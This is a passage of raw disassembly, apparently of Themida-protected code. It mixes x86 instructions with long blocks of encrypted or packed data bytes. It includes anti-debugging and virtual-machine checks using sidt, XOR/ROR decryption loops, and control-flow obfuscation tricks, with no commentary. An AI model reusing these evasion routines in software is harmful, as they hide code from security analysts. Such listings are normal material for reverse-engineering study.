3F80AAh, 0FFF6850Fh, 5A5FFFFFh, 530004C2h, 0C0335651h dd 10E9DB33h, 0AC000000h, 0D3D1D833h, 5ABCC381h, 0C88A3746h dd 0B49D3D3h, 0E8850FC9h, 8BFFFFFFh, 5B595EC3h, 0A1BB60C3h dd 0B0763AB7h, 11E901h, 32AC0000h, 0D1C32AC3h, 0D20BAACBh dd 1840Fh, 0A4A0000h, 0E7850FC0h, 0BFFFFFFh, 0DF850FD2h dd 61FFFFFFh ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- loc_57CAF1: ; CODE XREF: Themida_:loc_57C8E1j mov ax, ds test al, 4 jz loc_57CB25 mov dword ptr [ebp+6AB2EC0h], 1 push eax sidt fword ptr [esp-2] pop dword ptr [ebp+6AB2EC4h] lea eax, [ebp+6AB2EBCh] lea edi, [ebp+6AB2EC4h] mov [eax], edi jmp loc_57CB48 ; --------------------------------------------------------------------------- loc_57CB25: ; CODE XREF: Themida_:0057CAF6j lea eax, [ebp+6A82815h] mov eax, [eax+38h] add eax, 9B46F317h mov [ebp+6AB2EBCh], eax lea eax, [ebp+6A82815h] mov eax, [eax+3Ch] mov [ebp+6AB2EC0h], eax loc_57CB48: ; CODE XREF: Themida_:0057CB20j lea eax, [ebp+6AB2ED9h] mov [ebp+6A824F5h], eax jmp loc_57CBE0 ; --------------------------------------------------------------------------- push edx mov edx, esp pusha mov esi, [edx+8] mov edi, [edx+0Ch] mov eax, 0A945CAB2h jmp loc_57CB74 ; --------------------------------------------------------------------------- loc_57CB6D: ; CODE XREF: Themida_:0057CB76j add [esi], al xor [esi], al ror eax, 1 inc esi loc_57CB74: ; CODE XREF: Themida_:0057CB68j cmp esi, edi jb loc_57CB6D popa pop edx retn 8 ; --------------------------------------------------------------------------- push edx mov edx, esp pusha mov esi, [edx+8] mov edi, [edx+0Ch] mov eax, 0A945CAB2h jmp loc_57CB9C ; --------------------------------------------------------------------------- loc_57CB95: ; CODE XREF: Themida_:0057CB9Ej xor [esi], al sub [esi], al ror eax, 1 inc esi loc_57CB9C: ; CODE XREF: Themida_:0057CB90j cmp esi, edi jb loc_57CB95 popa pop edx retn 8 ; --------------------------------------------------------------------------- push edx mov edx, esp push esi push ecx push ebx xor ebx, ebx mov esi, [edx+8] mov ecx, [edx+0Ch] jmp loc_57CBCF ; --------------------------------------------------------------------------- loc_57CBBC: ; CODE XREF: Themida_:0057CBD1j lodsb cmp al, 2Dh jz loc_57CBCF add al, 98h xor al, 13h xor bl, al rol ebx, 8 dec ecx loc_57CBCF: ; CODE XREF: Themida_:0057CBB7j ; Themida_:0057CBBFj or ecx, ecx jnz loc_57CBBC mov eax, ebx pop ebx pop ecx pop esi pop edx retn 8 ; --------------------------------------------------------------------------- loc_57CBE0: ; CODE XREF: Themida_:0057CB54j lea eax, [ebp+6AB314Ch] mov [ebp+6A81A35h], eax lea eax, [ebp+6AB3174h] mov [ebp+6A82D75h], eax lea eax, [ebp+6AB319Ch] mov [ebp+6A80EF1h], eax pusha call near ptr loc_57CC18+2 push es sal ecx, 1 mov esi, 0F2494C20h aam 0BEh lodsd jecxz short near ptr loc_57CC2B+5 lodsb loc_57CC18: ; CODE XREF: Themida_:0057CC05p sets byte ptr [esi-7Fh] fst dword ptr [edi+ecx*2+60C08B5Ah] xor si, 5864h mov edx, ebx popa loc_57CC2B: ; CODE XREF: Themida_:0057CC15j cmp dword ptr [ebp+6A81ED9h], 0 jnz short loc_57CC3D cmp dword ptr [ebp+6A82DE9h], 0 jz short loc_57CC56 loc_57CC3D: ; CODE XREF: Themida_:0057CC32j push eax push ebx mov eax, eax mov eax, 40Eh mov [ebp+6A807B5h], eax lea ebx, [ebp+6AAA1ACh] call ebx pop ebx pop eax loc_57CC56: ; CODE XREF: Themida_:0057CC3Bj cmp dword ptr [ebp+6A82DE9h], 0 jz short loc_57CC76 push eax push ebx mov eax, 40Eh mov [ebp+6A807B5h], eax lea ebx, [ebp+6AA9E9Bh] call ebx pop ebx pop eax loc_57CC76: ; CODE XREF: Themida_:0057CC5Dj push 0 push esi call sub_57CC81 and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_57CC81 proc near ; CODE XREF: Themida_:0057CC79p arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 19h inc esi push esi retn sub_57CC81 endp ; --------------------------------------------------------------------------- db 4, 0A8h, 0F9h dd 0FD04842h, 38Ah, 0A9C58000h, 0D38B44B1h, 9E9C08Bh, 36000000h dd 2474AD89h, 985D6A0Ch, 55C28166h, 61BD8321h, 6A800h dd 1B840Fh, 0AE90000h, 68000000h, 32B04C59h, 0BA66B99Fh dd 1C2E990h, 66520000h, 9261D981h, 66DF8C5Eh, 662952B9h dd 4C7F7h, 1AA850Fh, 6A0000h, 3E850h, 58200000h, 448958C3h dd 44810424h, 150424h, 50400000h, 83772FC3h, 0A80A99BDh dd 850F0006h, 0Eh, 0D1FAB966h, 177E9h, 0D2816600h, 0BF1392h dd 6A000000h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 1C042444h, 41000000h, 0F37FC351h, 74061455h, 60740D47h dd 8E9h, 35A7D900h, 0E389D4C3h, 9D8D61D5h, 6AB342Bh, 38BE6650h dd 241C8919h, 0CF29BA66h, 35FF64h, 0E9000000h, 5, 750E44Eh dd 8A0F52F0h, 4, 0B903BA66h, 2589645Ah, 0 ; --------------------------------------------------------------------------- push 0 push ecx call sub_57CDA3 and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_57CDA3 proc near ; CODE XREF: Themida_:0057CD9Bp arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 1Ah inc ecx push ecx retn sub_57CDA3 endp ; --------------------------------------------------------------------------- db 0E4h dd 12FE3A0Ah, 0D3BE5D19h, 6006D178h, 0D1BF0F60h, 61616160h dd 0CDF5C48Bh, 8000EB01h, 0F521CDDh, 686h, 8A0F00h, 5E000000h dd 58F64h, 0F000000h, 0C483D0BFh, 0FC00B04h, 0A784h, 0B70F6100h dd 20BD8DC8h, 6A06A871h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 17042444h, 43000000h, 0FA38C353h, 8A0F26CAh dd 0Bh, 0C28B6660h, 7593C981h, 0B8613206h, 1, 0B2E7FFh dd 245C8B57h, 0B8838B10h, 0F000000h, 0FE0140B6h, 0B08389C8h dd 83000000h, 0B883h, 335F0200h, 6AC3C0h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 160424h, 56460000h, 8F7835C3h dd 6AD08B66h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 16042444h, 41000000h, 0E807C351h, 0CF8B667Ah, 51006A61h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1C04h, 0C3514100h dd 0D30E9EABh, 0F896D8C9h, 6AC08BA8h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 1D042444h, 47000000h, 439DC357h dd 0C7487FCFh, 0E4B8D3CFh, 1ED9BD83h, 750006A8h, 0E9BD8309h dd 6A82Dh, 53501974h, 0EB8C08Bh, 89000004h, 0A80FD585h dd 139D8D06h, 0FF06AAA2h, 83585BD3h, 0A82DE9BDh, 17740006h dd 0EB85350h, 89000004h, 0A80FD585h, 0B49D8D06h, 0FF06AA9Eh dd 66585BD3h, 0E81DC181h, 0E9D38B66h, 0Ah, 0CB82BFEh, 0D1840DEh dd 880F530Fh, 10h, 0BE9h, 8CDD9F00h, 0ED17021Fh, 65D3AA5Ah dd 6AC08Bh, 3E850h, 58200000h, 448958C3h, 44810424h, 190424h dd 50400000h, 5E8023C3h, 6009E2DEh, 3E9FBE66h, 4820Fh dd 0BF660000h, 8B6159F1h, 7E8C2h, 0E8880000h, 0D531D0B5h dd 59C18B2Bh, 616DB260h, 5A25C181h, 0E9600000h, 9, 0B706692Ch dd 0F1A20792h, 0F4B960A9h, 0E8703B6Fh, 8, 1929D16Eh, 0E94D6B3Ah dd 6861615Eh, 0 ; --------------------------------------------------------------------------- xor eax, 46281EA6h pop edx ja loc_57CFEB or esi, 4874D3A3h loc_57CFEB: ; CODE XREF: Themida_:0057CFDFj ; Themida_:0057D03Fj mov ebx, [ecx+edx] sbb si, 997Ah sub ebx, 58A455CDh mov di, 0A1E7h xor ebx, 433FD454h mov ax, 0AA29h add ebx, 158E451h mov esi, edi push ebx mov ax, 0DA27h pop dword ptr [ecx+edx] mov edi, 51004DE1h jge loc_57D027 sbb ax, 5E21h loc_57D027: ; CODE XREF: Themida_:0057D01Cj sub edx, 4DD2EF9Fh xor eax, 55B0F790h add edx, 4DD2EF9Bh cmp edx, 0FFFFA684h jnz loc_57CFEB mov eax, ebx jmp short loc_57D051 ; --------------------------------------------------------------------------- align 4 dd 0 db 0 ; --------------------------------------------------------------------------- loc_57D051: ; CODE XREF: Themida_:0057D047j jmp loc_57D0D1 ; --------------------------------------------------------------------------- dw 5260h dd 244C010Fh, 0C2835AFEh, 9D858B24h, 8D06A833h, 0AB82B385h dd 8B088B06h, 100088h, 660A8B00h, 89FC4A8Bh, 0AB36408Dh dd 99BD8306h, 6A80Ah, 0F840Fh, 6A600000h, 3195FF00h, 6106A81Bh dd 0FFFFC4E9h, 728966FFh, 10CEC1FCh, 2728966h, 5A04CD52h dd 363C8589h, 0B58B06ABh, 6AB3640h, 6610CEC1h, 8B027289h dd 0AB3640B5h, 72896606h, 858B61FCh, 6AB363Ch ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- loc_57D0D1: ; CODE XREF: Themida_:loc_57D051j lea edx, [ebp+6A81805h] mov [ebp+6A832A1h], edx mov [ebp+6A80D19h], edx inc dword ptr [ebp+6A80D19h] mov byte ptr [ebp+6A815D5h], 53h push 0FCB148D8h push dword ptr [ebp+6A831F9h] lea eax, [ebp+6A83AC3h] call eax mov [ebp+6A81B31h], eax lea eax, [ebp+6AB2EF3h] mov [ebp+6A80F89h], eax jmp short loc_57D137 ; --------------------------------------------------------------------------- align 4 dd 7 dup(0) db 3 dup(0) ; --------------------------------------------------------------------------- loc_57D137: ; CODE XREF: Themida_:0057D115j jmp loc_57D63D ; --------------------------------------------------------------------------- jmp loc_57D636 ; --------------------------------------------------------------------------- push 6AB3898h jmp loc_5517CE ; --------------------------------------------------------------------------- push 6AB392Eh jmp loc_5517CE ; --------------------------------------------------------------------------- push 6AB3AD9h jmp loc_5517CE ; --------------------------------------------------------------------------- push 6AB3B3Eh jmp loc_5517CE ; --------------------------------------------------------------------------- mov ds:0D679CD84h, eax mov ecx, 6305AEFCh sub bl, [ebx+esi+63CC5A1Fh] retn 3B8Fh ; --------------------------------------------------------------------------- db 0BCh, 0FDh, 15h dd 42ED3974h, 76D96D20h, 0A80B9FD6h, 0EE7ECC85h, 0DCECA7Ch dd 76B4B603h, 1059FFC9h, 0D74B4B93h, 8C672F57h, 0D93B1723h dd 33C292DFh, 0A4000000h, 0E5CCCC7Eh, 9DB62F57h, 5FA6101Bh dd 5CAF57D7h, 79A743F8h, 1635F896h, 0E0D9D25Fh, 0E9CBE48h dd 0CD66B603h, 0D994B619h, 6FD54354h, 1DE4h, 5EA6C700h dd 5DAF57D7h, 5BEBA5FFh, 0EBF0D46Bh, 30290247h, 345A708Ah dd 0F28B603h, 59FF9CBBh, 0C4BDF498h, 0D7969F5Fh, 89E22F57h dd 0AF072128h, 865AF41Ch, 0EE3C1578h, 0A5C6E15Dh, 28753C60h dd 0F92D06FFh, 5885474Fh, 8D123D2Fh, 82387114h, 321A4448h dd 51C7A038h, 47FC50EBh, 80BA19A3h, 2AAC3600h, 0DD6727F7h dd 123C7C38h, 0C06EF439h, 0B58286h, 0E6226436h, 0DC3600B4h dd 50D87373h, 0B58E96h, 0E0412A36h, 770CE6D2h, 0A9C62994h dd 0FCB747ECh, 38A27A09h, 22D05831h, 5Bh, 3559BA05h, 0CD6F3870h dd 37365076h, 0DB6030Dh, 781B8422h, 2B4AF531h, 0C36E4662h dd 8122F324h, 2DE00h, 89C06700h, 0B8FD923Dh, 0EEA7C162h dd 1E5BF758h, 4B062788h, 0D14170FFh, 6A9FDB0h, 329D2964h dd 64CF5B12h, 0AA3288C1h, 0F1216B0h, 0AAF0B603h, 2A9DF8Dh dd 0FFFA0000h, 4B931059h, 0AF57D74Bh, 57D78501h, 0D0115BAFh dd 251E8E45h, 0ACED7BBDh, 0AEAF58C7h, 0AF58C866h, 58C82064h dd 0BDDDC6AFh, 15B7B3F0h, 0AF58C815h, 0CD6B44EFh, 58C7FB3Bh dd 0A71CB06Fh, 0B474F903h, 0E54E7603h, 0E65DFFB8h, 0CF3F86C0h dd 0A2057CABh, 28D0C98Ch, 2C7C01D6h, 488C75B6h, 0D1000002h dd 8ABFFB6h, 37982E6Bh, 61C25811h, 913288CDh, 0E269BDF0h dd 6F2243CFh, 9BD678DBh, 0C980A40Fh, 0FAB3D27Dh, 982238ACh dd 0B60310A0h, 0FFFF2462h, 7302F45Ch, 8144F270h, 0B1DF0BA8h dd 58A81317h, 0D246F1AFh, 68BDE755h, 0E2B61618h, 0CBE6C45h dd 0B6034212h, 38708AF0h, 0AB60342h, 51F24821h, 1D58F637h dd 226F0F90h, 69CA5049h, 0F9314BCFh, 0CBB60341h, 3C2A7760h dd 5D9C1DBAh, 6DCBA22Ch, 25C17ADAh, 0AE82B5E3h, 2448ABBCh dd 0E01AC06Dh, 0BCAE82A8h, 50D8B19Ah, 0DB0185AEh, 0A493B691h dd 8437D047h, 2ADB1382h, 996FC936h, 0BCAEB79Dh, 0E105BE1Eh dd 59EE6DA7h, 0CEFC57C3h, 521F3FA0h, 923A59C6h, 41E1B871h dd 0A3E7D026h, 733A5A45h, 0D0B5A27Bh, 9C1CDC7Dh, 0F4397013h dd 5A114272h, 60DB79C3h, 482600BAh, 331CCA05h, 40092C97h dd 0B018509Ah, 0A4AEB646h, 7A742CE5h, 0E4345DA5h, 304AF01Eh dd 0CA058FF8h, 7C78AABh, 66CB8EA4h, 53DC5C35h, 32347930h dd 0CA059002h, 7AA01BB9h, 1C55F3DCh, 0C75C4A9Ch, 0E402D0B0h dd 0B0C766A2h, 0A5F35CD0h, 0A90AB09Bh, 0DC47C38Ah, 0EAB3F0B9h dd 0AFD5F14Ah, 193B592Dh, 7DBBBB1Ch, 5B68D1EBh, 1B98B3D7h dd 940E4CFh, 7D1273A4h, 2E76F038h, 4AD75B69h, 463240E1h dd 0A13ADC44h, 0Ch, 0F45EA67Ah, 765AF57h, 40000000h, 57F15EA6h dd 0B5E7C1AFh, 70AED80Eh, 52B6030Eh, 41F3B4F9h, 4FBACCFAh dd 11BCAB38h, 52C68FAEh, 736583ACh, 7DEC7C98h, 9DC5BEh dd 3260000h, 3E53FC4Ah, 0E4842F7Bh, 98B619ADh, 45E649DDh dd 8435B208h, 1AA0ED8Eh, 56D499B9h, 80064FEDh, 0F1357C1Fh dd 5555F775h, 2FB60311h, 0B5E742E9h, 70AED80Eh, 52B6030Eh dd 41F3B4F9h, 0CFBACCFAh, 91BCAB1Dh, 1DD9D16Bh, 80ABBCABh dd 4680E628h, 0BCAB1E42h, 8A3E1700h, 0EC7CB218h, 380AFB38h dd 0C1000000h, 0F85BEFA6h, 27881E5Bh, 51F24801h, 8122783Dh dd 9219ADE0h, 5F1233DFh, 8BC668CBh, 0B9F0943Fh, 0EAA3C26Dh dd 0E812C85Ch, 0B60311B0h, 0DFEF5492h, 3, 0FFCBB0FAh, 138C1158h dd 2BF43970h, 42E34009h, 5FC06D20h, 752E733Eh, 8B1499D4h dd 0A47DA2E7h, 0BF60CD84h, 0FA4AD792h, 81E38953h, 4C3h dd 4EB8300h, 8B241C87h, 63682424h, 89000002h, 89532434h dd 4C381E3h, 81000000h, 4EBh, 241C8700h, 240C895Ch, 9A26850h dd 48B024Fh, 4C48124h, 48000000h, 0E43EFD35h, 58C68904h dd 240C8B54h, 4C481h, 89520000h, 348152F2h, 1D15DD24h dd 8418F26h, 0DD087181h, 5A261D15h, 592434FFh, 4C481h dd 348B0000h, 0E6895624h, 4C681h, 0C6810000h, 4, 5C243487h dd 0FD4199E9h db 0FFh, 72h ; --------------------------------------------------------------------------- loc_57D636: ; CODE XREF: Themida_:0057D13Cj mov eax, 6AB3B9Bh add eax, ebp loc_57D63D: ; CODE XREF: Themida_:loc_57D137j mov ecx, eax jmp loc_57D695 ; --------------------------------------------------------------------------- pusha mov esi, [esp+24h] add esi, [esi+3Ch] mov edi, [esp+28h] mov edx, esi add edx, 0F8h mov cx, [esi+6] movzx ecx, cx loc_57D65F: ; CODE XREF: Themida_:0057D68Aj cmp ecx, 0 jz loc_57D67E cmp edi, [edx+0Ch] jg loc_57D686 sub edx, 28h mov eax, [edx+0Ch] mov ecx, [edx+14h] sub eax, ecx sub edi, eax loc_57D67E: ; CODE XREF: Themida_:0057D662j ; Themida_:0057D690j mov [esp+1Ch], edi popa retn 8 ; --------------------------------------------------------------------------- loc_57D686: ; CODE XREF: Themida_:0057D66Bj add edx, 28h dec ecx jnz loc_57D65F jmp loc_57D67E ; --------------------------------------------------------------------------- loc_57D695: ; CODE XREF: Themida_:0057D63Fj mov edx, 9FD3Eh jmp short $+2 jmp loc_57DC74 ; --------------------------------------------------------------------------- jmp loc_57DC6D ; --------------------------------------------------------------------------- push 6AB3D7Dh jmp loc_5517CE ; --------------------------------------------------------------------------- push 6AB3E73h jmp loc_5517CE ; --------------------------------------------------------------------------- push 6AB3F12h jmp loc_5517CE ; --------------------------------------------------------------------------- push 6AB3FDAh jmp loc_5517CE ; --------------------------------------------------------------------------- push 6AB40E6h jmp loc_5517CE ; --------------------------------------------------------------------------- dd 0CE5C1534h, 398DC865h, 6FBBF296h, 5FEBAEC4h, 881E53F4h dd 83A46E03h, 0B7D778CEh, 6103ACFAh, 12319228h, 8D5FCF5Bh dd 3133F7Bh, 58C705B6h, 0F83559BAh, 86971C55h, 811700ADh dd 57D73F47h, 0D6FD3DAFh, 45E3AF57h, 57D70703h, 0C652FDAFh dd 57D70700h, 0D6C1C5AFh, 7CBBAF57h, 7EAF57D7h, 2F57D736h dd 0EEABC728h, 47C06841h, 0EB86ED5h, 35FFF33Bh, 17F82E09h dd 4218DD75h, 1E97246h, 13319228h, 4FDB0D2h, 5BE1E9Fh dd 1F20A7E1h, 98C63CA8h, 0A81F2A6Eh, 48F2183Ch, 3CA81F50h dd 88201932h, 7C3BED46h, 26C7FB7h, 41920A1h, 0E7820000h dd 9AB718AEh, 40E84BDFh, 7C12BD09h, 2142ED39h, 2051DE6Ch dd 8E1C51F2h, 0F2480525h, 2C7A3351h, 1DA9E083h, 0F1295389h dd 0D3B60313h, 5CFFAE95h, 474E8815h, 0D5AF57D7h, 7593DD46h dd 57D6D7D3h, 1682ADAFh, 67A3EA89h, 53D099BCh, 0B5FAB3D2h dd 94D859F2h, 0DF440D2Bh, 0A6C56ACEh, 7F35BEFh, 0E612DFD6h dd 38Ah, 155CFF39h, 92345288h, 0AF57D796h, 9355C36Ch, 0AF57D794h dd 80A40F6Bh, 9ABB64C9h, 78514AD7h, 0D3DA5B30h, 39ADF9B0h dd 0D7A19923h, 0C863AF57h, 0DD90B112h, 1187CA6Ch, 0D753F1B2h dd 57D775B5h, 9F294FAFh, 0AF57D79Bh, 31D5CE69h, 57D79397h dd 0EDC671AFh, 1E57F659h, 1DA60891h, 4E072689h, 531E40E1h dd 0D6F135D7h, 90B2AF57h, 65D750DDh, 0A1C728DEh, 0C6524BE8h dd 0E3A7EA1Ch, 0B29DB5FFh, 27F24B16h, 9D6645F3h, 323h dd 66A4ED8Ch, 51D590BDh, 87034AEEh, 0F733761Ch, 20662B4Ch dd 5BFC165Bh, 0F2F9016h, 395BC442h, 0EA892A70h, 658767A3h dd 314E723h, 0B09FDDB6h, 33FB30BAh, 0A03A7312h, 4D79A1DAh dd 584BFF3Bh, 0CE6AC5AFh, 268BC261h, 0A97DE7Dh, 1A3CF999h dd 0AFF4BDDFh, 1EAC857Eh, 584BE8ECh, 5CA2E2AFh, 6101AF58h dd 3D5B872Ch, 585C8F8Bh, 5EDA75AFh, 585C8C88h, 0D37152AFh dd 721577Bh, 6B4401B5h, 2B212B93h, 0BFF9B15Ah, 0CBFF44E8h dd 643EB1h, 0FD2B04B6h, 0F32771AEh, 845233F0h, 0ED000002h dd 1C87034Ah, 4BF43277h, 7D26642Dh, 0AD1694D1h, 0FE45C18Ch dd 7B3657BBh, 0AFE2842Fh, 0DD94B81Bh, 0E47E649h, 8C3E2CB8h dd 0B603168Ch, 0FF0B3076h, 5288155Ch, 169BD271h, 690C9305h dd 973C8320h, 2D64070Eh, 0D6413D99h, 0FA412DFh, 7F000002h dd 57D75EA6h, 6E2745AFh, 7DD577D8h, 13AC57AEh, 4EB2430Dh dd 0D9C38941h, 0B3F0B5DAh, 72A8817Ah, 1476B2D4h, 0E34CAF58h dd 0E208D6B5h, 58146058h, 0AF0922AFh, 0F1155C00h, 13F9314Bh dd 60CBAF58h, 0A9CA5BC8h, 46E6BFE4h, 0BF14A20Fh, 0B31867F6h dd 49EBF2h, 0EB2612BAh, 48C112DFh, 5A000000h, 0D80EB5E7h dd 0FFE3D7AEh, 6682ADB5h, 0F327F20Fh, 0BCA12281h, 25000001h dd 54FF4B02h, 832C7A3Fh, 0B51EACE5h, 0E54EDC99h, 36BD0944h dd 0A3EE8F83h, 0D79ABC67h, 54CF053h, 367F1E81h, 54F674F0h dd 0B6031654h, 0C443E82Eh, 0D7ACE426h, 38B2AF57h, 0D7403A12h dd 0C326696h, 725FE23h, 0B112F84Eh, 4455DA93h, 61284BD4h dd 0ADDB7B3Ch, 0A56D2042h, 0AF585765h, 9555103Eh, 0DA45C1BAh dd 0CB7F3BAh, 22832069h, 56F94D00h, 29337934h, 58579B9Fh dd 61CE69AFh, 0EA1C98C0h, 0AF5856AEh, 44C2BB94h, 0DF194FC3h dd 7082C0D4h, 0C3C70F54h, 81AF5898h, 0CAE58C77h, 0FFE87149h dd 60089906h, 0D4CD80A1h, 7C70B456h, 892BAF58h, 0B729432h dd 0F9B600A9h, 2A47A85Eh, 3058BB6Fh, 0B5E33479h, 8ACF64CFh dd 94071A5Ch, 3E47477h, 60C88DA2h, 0DA7C6783h, 0A0F2B276h dd 0ECC54A36h, 841E34Ch, 1558FAABh, 38711788h, 398232FBh dd 0D34C7B8Dh, 0B112BCA8h, 425BD89Dh, 0D90F28D6h, 0EC7F0376h dd 0B0CABB78h, 19000000h, 50F3377Eh, 7F206623h, 0A90A90D9h dd 0D97AC085h, 2AB1F5B8h, 0A7EA8B87h, 0D39EC063h, 148EC57h dd 327B1A85h, 50EA70F4h, 0B6031758h, 0BA47EC2Ah, 54532630h dd 48E0F351h, 0A00D44E7h, 0AED85CFFh, 0AF57FA6Ah, 0C5E7FF58h dd 0ED5DB5F5h, 1B9E03FCh, 44AFF1B2h, 0D3C46920h, 0F2BBDA45h dd 247EBD4h, 0DDC62C96h, 7BACF1BCh, 0FF8D793Dh, 176812DFh dd 72000000h, 75BAF391h, 0A6AFF424h, 0AF57D75Fh, 0D2682144h dd 1D51h, 1CBA7400h, 0D75454F6h, 52EAF57h, 57D6BDFDh, 0CAC87AFh dd 57D6BAFAh, 34AE9AFh, 0DBE09887h, 257h, 0FFC2B900h, 138C1158h dd 2BF43970h, 42E34009h, 5FC06D20h, 752E733Eh, 8B1499D4h dd 0A47DA2E7h, 0BF60CD84h, 0FA4AD792h, 5E08950h, 4, 4BD55h dd 0E8290000h, 2404875Dh, 0E389535Ch, 4C381h, 0EB810000h dd 4, 5C241C87h, 52243489h, 0C281E289h, 4, 4EA81h, 14870000h dd 2C895C24h, 0CBB95124h, 5106AB3Ch, 0EC81595Eh, 4, 81242489h dd 42404h, 515D0000h, 8B9h, 56E90100h, 55240481h, 8F222131h dd 55298101h, 59222131h, 5D2434FFh, 4C481h, 348B0000h dd 0E7895724h, 4C781h, 0C7810000h, 4, 5C243C87h, 0FD3B6DE9h dd 8B8C29FFh, 0ADE767Bh, 0D54497FCh db 0C0h ; --------------------------------------------------------------------------- loc_57DC6D: ; CODE XREF: Themida_:0057D6A1j mov eax, 6AB41BBh add eax, ebp loc_57DC74: ; CODE XREF: Themida_:0057D69Cj mov edx, ecx jmp loc_57DDDE ; --------------------------------------------------------------------------- db 81h dd 0E7703061h, 93DA95ECh, 0DF067158h, 0FDBEB6CFh, 36365D54h dd 0BCECA4h, 52C55DD5h, 0A4D676D3h, 4100FC94h, 50C1AEC4h dd 325277CBh, 9CACACh, 0FC6C46BFh, 597390ADh, 75D6A336h dd 0BD9C72E2h, 93DD0090h, 0A79B8CE6h, 0DD64A592h, 9792A7ABh dd 0FC7A918Fh, 96B9F95Ch, 0B59BB1E4h, 0B69F47E4h, 94B6E592h dd 0B59EBDF6h, 0EC96B3EBh, 999C93D0h, 0FD7B97BFh, 9389F55Ch dd 0EDAFF4h, 0A6E3B2CDh, 0B5D4E594h, 445700C3h, 0B0F3622Dh dd 3CAE29h, 440000h, 6C0000h, 2 dup(0) dd 40000h, 940000h, 50000h, 10000h, 0A280000h, 20000h dd 2Ah dup(0) db 2 dup(0) ; --------------------------------------------------------------------------- loc_57DDDE: ; CODE XREF: Themida_:0057DC76j jmp loc_57FDDA ; --------------------------------------------------------------------------- push 6AB45E0h jmp loc_5517CE ; --------------------------------------------------------------------------- push 6AB46CAh jmp loc_5517CE ; --------------------------------------------------------------------------- push 6AB4792h jmp loc_5517CE ; --------------------------------------------------------------------------- push 6AB4876h jmp loc_5517CE ; --------------------------------------------------------------------------- push 6AB4935h jmp loc_5517CE ; --------------------------------------------------------------------------- push 6AB4A31h jmp loc_5517CE ; --------------------------------------------------------------------------- push 6AB4B1Ah jmp loc_5517CE ; --------------------------------------------------------------------------- push 6AB4BCBh jmp loc_5517CE ; --------------------------------------------------------------------------- push 6AB4FF8h jmp loc_5517CE ; --------------------------------------------------------------------------- push 6AB506Eh jmp loc_5517CE ; --------------------------------------------------------------------------- push 6AB5147h jmp loc_5517CE ; --------------------------------------------------------------------------- push 6AB544Ch jmp loc_5517CE ; --------------------------------------------------------------------------- push 6AB575Bh jmp loc_5517CE ; --------------------------------------------------------------------------- push 6AB5AE9h jmp loc_5517CE ; --------------------------------------------------------------------------- push 6AB5C3Bh jmp loc_5517CE ; --------------------------------------------------------------------------- push 6AB5CBEh jmp loc_5517CE ; --------------------------------------------------------------------------- push 6AB5D1Fh jmp loc_5517CE ; --------------------------------------------------------------------------- push 6AB5D6Ah jmp loc_5517CE ; --------------------------------------------------------------------------- push 6AB5F43h jmp loc_5517CE ; --------------------------------------------------------------------------- push 6AB6044h jmp loc_5517CE ; --------------------------------------------------------------------------- push 6AB624Ch jmp loc_5517CE ; --------------------------------------------------------------------------- push edi xor [ecx+2Dh], bh sub ch, 0A8h adc dh, [ecx-18B72169h] dec ebx push cs mov eax, 0EF3B7617h pusha push ecx shl dword ptr [eax+54F659EDh], 19h lea esp, [edx] add cl, [ebx-1] push esp xor [eax+22h], edi mov edx, 1B2266A0h add esi, [esi-822520h] pop esp adc eax, 0F4185288h xor [edx+34h], ah inc edx and ch, cl sub ebp, [ecx+41h] retf 0E7D0h ; --------------------------------------------------------------------------- dd 64FEEB1h, 0E80D96E0h, 9186024Dh, 0AA0ABD07h, 644FF511h dd 8218EC3h, 6770A8D2h, 0F952AF58h, 8646A9BFh, 0B718B600h dd 4556DB96h, 9D022DD3h, 86595Dh, 159E75B6h, 45872D4Bh dd 0B6008645h, 0AEEA143Fh, 94B60085h, 0D25F1233h, 0EC48E0D9h dd 14777DF0h, 3A17h, 0B5E72800h, 4FAED80Eh, 11B60005h dd 51C78EAEh, 21680CAFh, 2363EB48h, 0BFB60005h, 534F4BD4h dd 921477F8h, 10D6D274h, 7E88B600h, 0B600113Ah, 74DF2F08h dd 9C1624h, 0FF290000h, 1788155Ch, 2DF63B76h, 49DA470Eh dd 2527632Ah, 0AF57DB24h, 1195DC7Fh, 20C68FAEh, 0DB4840FAh dd 113AAF57h, 31632487h, 9F2A5C8Ah, 65B5FFE2h, 93B31CCAh dd 0D05851DEh, 0D863D16Ah, 1728422h, 0FE3D716Dh, 368A5CDCh dd 0CBCAA91h, 7B1C8723h, 2E4FF036h, 4BD14563h, 0E0C3EC7Dh dd 1D2B1Fh, 31781F00h, 60254AF5h, 96DF79DAh, 0C683AF10h dd 0F3BEDF40h, 898928B7h, 0BE61A5E8h, 0EA55D19Ch, 1C87034Ah dd 72EA3079h, 1C5A5EE8h, 0E228B603h, 135EFF45h, 40092C97h dd 0B5E7DDFAh, 4FAED80Eh, 35B60005h, 446EC1Ah, 0B6000504h dd 34B6F39Fh, 5D5DEF1Bh, 27B60005h, 3F3FAC0Ch, 0B60004F7h dd 0C6664993h, 0F1B2298Fh, 77F8F5E1h, 0B21014h, 0FF2B0000h dd 1788155Ch, 0DF92B376h, 0C3605952h, 982ED527h, 943E052Ch dd 0B305C204h, 0FF9EAF58h, 60EA10B6h, 0FE1FEB5Fh, 35759DB5h dd 7AF5837h, 93C88E8Ah, 77A02288h, 55F85B21h, 0A616971Ch dd 0C5FE91Dh, 0F6B6006Dh, 0FF8B5D5h, 17AC00BBh, 0BE849F3h dd 90DABCABh, 269598E5h, 0CACE788Eh, 0B8BCAB5Eh, 19CDA69Fh dd 42D895B6h, 0DB0D40E1h, 0EC7C7E55h, 41E7585Bh, 3500001Ch dd 64CF5B12h, 933C8ACFh, 0C56EBCF5h, 0F55EECA9h, 68D1954h dd 0B3FE9F73h, 0E7AACC77h, 155C00A3h, 460F2E91h, 448664C0h dd 0B6031D44h, 0FF53F83Eh, 2C97135Eh, 0DDFA4009h, 1B8F30BAh dd 0C0BA31CFh, 0EDA4C768h, 7DBCDF40h, 